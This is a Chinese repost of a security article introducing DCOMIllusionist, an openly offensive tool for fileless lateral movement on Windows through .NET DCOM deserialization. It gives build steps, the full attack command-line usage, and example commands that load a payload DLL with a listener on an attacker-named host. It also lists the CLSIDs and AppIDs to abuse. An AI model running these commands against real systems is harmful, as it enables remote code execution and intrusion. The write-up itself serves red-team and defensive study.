通过.Net反序列化实现内存中的DCOM和无文件横向移动技术"

admin 2026-10-24 04:49:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

通过 .Net 反序列化实现内存中的 DCOM 和无文件横向移动技术

Ots安全

2026年6月15日 19:23
广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

介绍

如果您拥有管理员权限,此工具可在 Windows 计算机上启用远程代码执行。它利用 DCOM 和 .NET DCOM 服务器的特性,自动反序列化传入对象。这使得执行任意命令或加载 DLL 而无需写入磁盘成为可能。

该方法最初由 James Forshaw 发现,是一种权限提升技术,后来被改造用于通过远程修改特定注册表项进行横向移动。此外,它还支持通过 DCOM 进行跨会话利用,允许在另一个用户会话的安全上下文中执行任意命令。

该技术适用于工作站和服务器,但目标机器与攻击者控制的机器之间需要网络访问才能使该技术生效。

本节包含更多详细信息。

构造

您可以下载发布版本,也可以手动构建:

PS F:\\> git clone https://github.com/Hug0Vincent/DCOMIllusionist.git
PS F:\\> cd DCOMIllusionist
PS F:\\DCOMIllusionist> dotnet publish -c Release -r win-x64

重要的 “!!!!!!!!!”

要成功使用此工具,需要在攻击主机(通过提升权限的 shell)和目标机器上都拥有管理员权限。

Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help Show this help message and exit
  -d, --debug Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only Only performs local registry modifications
      --remote-registry-only Only performs remote registry modifications
      --skip-local-registry-setup Skip local registry setup
      --skip-remote-registry-setup Skip remote registry setup
      --hku Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid Create fake CLSID with fake AppId

Attacks:
      --ps-exec               Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args             Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network Check network access from target to attacker machine
      --list-sessions List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec \"whoami\"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll \"payload.dll\" --dll-class \"Exploit\" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)

技术细节

当用 .NET 编写的 DCOM 服务器接收到对象时,它会查询IManagedObjectDCOM 接口。如果接口存在,服务器会调用相应的GetSerializedBuffer方法。客户端会返回对象的序列化版本,服务器随后会对其进行反序列化,从而导致任意代码执行。要使攻击成功,受害计算机必须能够直接通过网络访问攻击者的主机

通过伪造任意 DCOM 对象引用 (OBJREF),可以将目标机器重定向到任何远程系统。例如,可以使用 socat 将端口 135(以及另一个任意端口)上的流量转发到攻击者实际控制的机器。在 James Forshaw 的概念验证中(该验证后来成为“Potato”漏洞利用的基础),他使用 GUID 来编组PointerMoniker任意对象到对象引用 (OBJREF) 中。这种方法成功触发了身份验证,但在后续步骤中失败。如果改用标准编组器的 GUID,则可以创建并发送功能齐全的任意对象引用 (OBJREF)。

然而,在所测试的 Windows Server 版本中,默认情况下并未公开任何 .NET DCOM 服务器。要启用远程交互,可以远程修改 Windows 注册表,将自定义 AppID 与 .NET CLSID 关联起来,使其可以通过 DCOM 访问。如果目标计算机上存在交互式会话,则通过精心选择 AppID,还可以利用会话别名实现跨会话攻击。James Forshaw在此处和此处再次发现了这一漏洞并进行了详细描述。

要使攻击成功,目标服务器必须从攻击者控制的机器上检索序列化对象数据(即“小工具”)。这需要服务器向攻击者的主机进行身份验证。

如果 AppID 未配置为以交互式用户的身份运行,则身份验证尝试将以匿名方式发起。要允许这种情况发生,攻击者的计算机必须配置为接受匿名 DCOM 身份验证,方法是修改其默认的 DCOM 访问权限。

当 AppID 与交互式用户关联时,身份验证将使用指定会话(通过 <session\\_id>)中的用户身份进行,--session或者默认使用会话 0。在这种情况下,攻击者的计算机必须加入域才能接受用户的身份验证。因此,为了确保身份验证成功,会将“Everyone”组临时添加到默认的 DCOM 访问权限中。

需要注意的是,本次操作仅修改默认访问权限,启动和激活权限保持不变。所有更改将在操作完成后还原。如果出现问题,系统会创建原始设置的备份,您可以进行恢复。

项目地址:

https://github.com/synacktiv/DCOMIllusionist

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


Ubuntu26禁用自动升级" 网络安全文章

Ubuntu26禁用自动升级"

本文详细介绍了在Ubuntu26系统中禁用自动升级的两种方法:通过执行Shell脚本修改snapd状态文件并设置刷新策略来阻止snap包自动更新;通过systemctl屏蔽相关定时任务服务并修改apt配置文件来彻底禁用apt自动升级。文档提供了完整的命令行操作步骤和配置示例,强调需以root权限定期执行维护脚本。
攻防必备|自动扒接口+查敏感信息,效率拉满" 网络安全文章

攻防必备|自动扒接口+查敏感信息,效率拉满"

该文档介绍BurpAPIFinder插件在攻防演练中的自动化应用,主要功能包括自动提取网站URL和JS文件中的接口链接、配置敏感关键词匹配、主动探测敏感信息泄漏。插件集成HaE、APIKit等主流指纹库,支持自定义父路径扫描,可发现未授权访问、越权漏洞、凭证泄漏等安全隐患,通过加载JAR包即可快速部署使用。
百度搜‘火绒’排第一的竟是仿冒站?小心这个‘银狐’下载链接,点一下即中招!" 网络安全文章

百度搜‘火绒’排第一的竟是仿冒站?小心这个‘银狐’下载链接,点一下即中招!"

文档披露一起通过搜索引擎SEO投毒推广仿冒火绒安全网站的攻击事件,用户点击排名第一的推广链接后下载携带银狐木马的捆绑包。分析指出仿冒网站域名与官方差异、页面无备案信息等特征,恶意样本采用白加黑技术实现免杀并创建隐蔽服务。文章强调需认准官方域名www.huorong.cn、验证数字签名、安装杀软及系统更新等防护措施。
评论:0   参与:  0